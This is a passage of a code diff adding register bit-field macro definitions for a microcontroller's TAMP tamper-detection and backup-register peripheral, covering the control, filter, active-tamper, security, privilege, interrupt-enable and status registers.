TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00001000 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk +#define TAMP_CR3_ITAMP15NOER_Pos (14U) +#define TAMP_CR3_ITAMP15NOER_Msk (0x1UL << TAMP_CR3_ITAMP15NOER_Pos) /*!< 0x00004000 */ +#define TAMP_CR3_ITAMP15NOER TAMP_CR3_ITAMP15NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0U) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3U) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5U) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7U) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0U) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1U) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2U) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3U) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4U) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5U) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6U) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7U) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8U) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10U) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12U) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14U) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16U) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24U) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30U) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31U) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0U) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0U) +#define TAMP_ATOR_PRNG_Msk (0xFFUL << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14U) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15U) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8U) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11U) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14U) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17U) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20U) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23U) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26U) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29U) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0U) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15U) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16U) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30U) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31U) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15U) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29U) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30U) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31U) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0U) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1U) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2U) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3U) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4U) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5U) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6U) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7U) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16U) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17U) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18U) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP4IE_Pos (19U) +#define TAMP_IER_ITAMP4IE_Msk (0x1UL << TAMP_IER_ITAMP4IE_Pos) /*!< 0x00080000 */ +#define TAMP_IER_ITAMP4IE TAMP_IER_ITAMP4IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20U) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21U) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22U) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23U) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24U) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26U) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27U) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28U) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk +#define TAMP_IER_ITAMP15IE_Pos (30U) +#define TAMP_IER_ITAMP15IE_Msk (0x1UL << TAMP_IER_ITAMP15IE_Pos) /*!< 0x40000000 */ +#define TAMP_IER_ITAMP15IE TAMP_IER_ITAMP15IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0U) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1U) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2U) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3U) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4U) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5U) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6U) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7U) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16U) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17U) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18U) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F 